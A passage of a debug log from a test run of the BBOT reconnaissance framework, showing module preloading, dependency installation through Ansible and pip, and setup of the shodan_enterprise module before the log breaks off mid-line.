/Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-27 21:38:37,640 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-27 21:38:37,643 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-27 21:38:37,645 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-27 21:38:37,647 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-27 21:38:37,648 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-27 21:38:37,650 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-27 21:38:37,651 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-27 21:38:37,653 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-27 21:38:37,654 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-27 21:38:37,655 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-27 21:38:37,655 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-02-27 21:38:37,656 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-02-27 21:38:37,833 [DEBUG] filelock _api.py:331 Attempting to acquire lock 4614814208 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 21:38:37,834 [DEBUG] filelock _api.py:334 Lock 4614814208 acquired on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 21:38:37,835 [DEBUG] filelock _api.py:364 Attempting to release lock 4614814208 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 21:38:37,835 [DEBUG] filelock _api.py:367 Lock 4614814208 released on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 21:38:38,845 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 21:38:38,846 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 21:38:38,846 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-02-27 21:38:38,991 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-02-27 21:38:39,572 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-02-27 21:38:39,572 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-02-27 21:38:39,573 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-02-27 21:38:39,573 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-02-27 21:38:39,779 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-02-27 21:38:39,780 [DEBUG] bbot base.py:103 Mocking DNS -2026-02-27 21:38:39,890 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-02-27 21:38:39,890 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-02-27 21:38:39,945 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-02-27 21:38:39,951 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-02-27 21:38:39,951 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-02-27 21:38:40,412 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-02-27 21:38:40,412 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-02-27 21:38:43,181 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-02-27 21:38:43,182 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-02-27 21:38:43,182 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-02-27 21:38:45,101 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-02-27 21:38:45,102 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-02-27 21:38:45,107 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 21:38:45,107 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-02-27 21:38:45,108 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 21:38:45,108 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-02-27 21:38:45,108 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 21:38:45,109 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-02-27 21:38:45,109 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-02-27 21:38:45,109 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-02-27 21:38:45,113 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/1k9khqawaeza3uu60q90 -2026-02-27 21:38:45,861 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-02-27 21:38:45,862 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-02-27 21:38:45,862 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 21:38:45,862 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-02-27 21:38:45,864 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-02-27 21:38:45,980 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-02-27 21:38:45,981 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-02-27 21:38:45,981 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-02-27 21:38:45,982 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-02-27 21:38:45,983 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-02-27 21:38:45,983 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-02-27 21:38:45,983 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-02-27 21:38:45,984 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-02-27 21:38:45,984 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-02-27 21:38:45,985 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-02-27 21:38:45,985 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-02-27 21:38:45,985 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-02-27 21:38:45,985 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-02-27 21:38:45,986 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-02-27 21:38:45,986 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-02-27 21:38:45,986 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-02-27 21:38:45,986 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-02-27 21:38:45,986 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-02-27 21:38:45,986 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-02-27 21:38:45,986 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-02-27 21:38:45,986 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-02-27 21:38:45,987 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-02-27 21:38:45,987 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-02-27 21:38:45,987 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-02-27 21:38:45,988 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-02-27 21:38:45,988 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-02-27 21:38:45,988 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-02-27 21:38:45,988 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-02-27 21:38:45,989 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-02-27 21:38:45,989 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-02-27 21:38:45,989 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-02-27 21:38:45,989 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-02-27 21:38:45,989 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-02-27 21:38:45,990 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-02-27 21:38:45,990 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-02-27 21:38:45,990 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-02-27 21:38:45,990 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-02-27 21:38:45,991 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-02-27 21:38:45,991 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-02-27 21:38:45,991 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-02-27 21:38:45,991 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-02-27 21:38:45,991 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-02-27 21:38:45,992 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-02-27 21:38:45,992 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-02-27 21:38:46,362 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-02-27 21:38:46,363 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-02-27 21:45:39,356 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-02-27 21:45:39,369 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-02-27 21:45:39,370 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-02-27 21:45:39,371 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-02-27 21:45:39,372 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-02-27 21:45:39,374 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-02-27 21:45:39,375 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-02-27 21:45:39,375 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-02-27 21:45:39,376 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-02-27 21:45:39,377 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-02-27 21:45:39,378 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-02-27 21:45:39,379 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-02-27 21:45:39,380 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-27 21:45:39,381 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-27 21:45:39,382 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-27 21:45:39,384 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-27 21:45:39,384 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-27 21:45:39,387 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-27 21:45:39,387 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-27 21:45:39,392 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-27 21:45:39,393 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-27 21:45:39,395 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-27 21:45:39,396 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-27 21:45:39,398 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-27 21:45:39,399 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-27 21:45:39,401 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-27 21:45:39,402 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-27 21:45:39,403 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-27 21:45:39,403 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-02-27 21:45:39,404 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-02-27 21:45:39,406 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-02-27 21:45:39,407 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-02-27 21:45:39,408 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-02-27 21:45:39,410 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-02-27 21:45:39,411 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-02-27 21:45:39,412 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-02-27 21:45:39,413 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-02-27 21:45:39,414 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-02-27 21:45:39,416 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-02-27 21:45:39,417 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-02-27 21:45:39,418 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-02-27 21:45:39,419 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-02-27 21:45:39,420 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-02-27 21:45:39,421 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-02-27 21:45:39,422 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-02-27 21:45:39,423 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-02-27 21:45:39,424 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-02-27 21:45:39,425 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-02-27 21:45:39,427 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-02-27 21:45:39,429 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-02-27 21:45:39,430 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-02-27 21:45:39,432 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-02-27 21:45:39,432 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-02-27 21:45:39,433 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-02-27 21:45:39,434 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-02-27 21:45:39,435 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-02-27 21:45:39,436 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-02-27 21:45:39,437 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-02-27 21:45:39,438 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-02-27 21:45:39,439 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-02-27 21:45:39,440 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-02-27 21:45:39,441 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-02-27 21:45:39,441 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-02-27 21:45:39,442 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-02-27 21:45:39,448 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-02-27 21:45:39,450 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-02-27 21:45:39,451 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-02-27 21:45:39,451 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-02-27 21:45:39,453 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-02-27 21:45:39,453 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-02-27 21:45:39,454 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-02-27 21:45:39,455 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-02-27 21:45:39,456 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-02-27 21:45:39,457 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-02-27 21:45:39,458 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-02-27 21:45:39,460 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-02-27 21:45:39,461 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-02-27 21:45:39,462 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-02-27 21:45:39,463 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-02-27 21:45:39,465 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-02-27 21:45:39,466 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-02-27 21:45:39,467 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-02-27 21:45:39,468 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-02-27 21:45:39,469 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-02-27 21:45:39,470 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-02-27 21:45:39,470 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-02-27 21:45:39,472 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-02-27 21:45:39,473 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-02-27 21:45:39,474 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-02-27 21:45:39,475 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-02-27 21:45:39,483 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-02-27 21:45:39,484 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-02-27 21:45:39,486 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-02-27 21:45:39,487 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-02-27 21:45:39,488 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-02-27 21:45:39,489 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-02-27 21:45:39,490 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-02-27 21:45:39,491 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-02-27 21:45:39,492 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-02-27 21:45:39,493 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-02-27 21:45:39,495 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-02-27 21:45:39,496 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-02-27 21:45:39,497 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-02-27 21:45:39,498 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-02-27 21:45:39,499 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-02-27 21:45:39,501 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-02-27 21:45:39,501 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-02-27 21:45:39,502 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-02-27 21:45:39,503 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-02-27 21:45:39,504 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-02-27 21:45:39,505 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-02-27 21:45:39,505 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-02-27 21:45:39,506 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-02-27 21:45:39,507 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-02-27 21:45:39,509 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-02-27 21:45:39,510 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-02-27 21:45:39,511 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-02-27 21:45:39,513 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-02-27 21:45:39,515 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-02-27 21:45:39,516 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-02-27 21:45:39,517 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-02-27 21:45:39,518 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-02-27 21:45:39,519 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-02-27 21:45:39,520 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-02-27 21:45:39,521 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-02-27 21:45:39,522 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-02-27 21:45:39,523 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-02-27 21:45:39,523 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-02-27 21:45:39,524 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-02-27 21:45:39,526 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-02-27 21:45:39,527 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-02-27 21:45:39,528 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-02-27 21:45:39,530 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-02-27 21:45:39,530 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-02-27 21:45:39,531 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-02-27 21:45:39,532 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-02-27 21:45:39,534 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-02-27 21:45:39,535 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-02-27 21:45:39,536 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-02-27 21:45:39,537 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-02-27 21:45:39,537 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-02-27 21:45:39,538 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-02-27 21:45:39,539 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-02-27 21:45:39,541 [DEBUG] bbot.module_loader 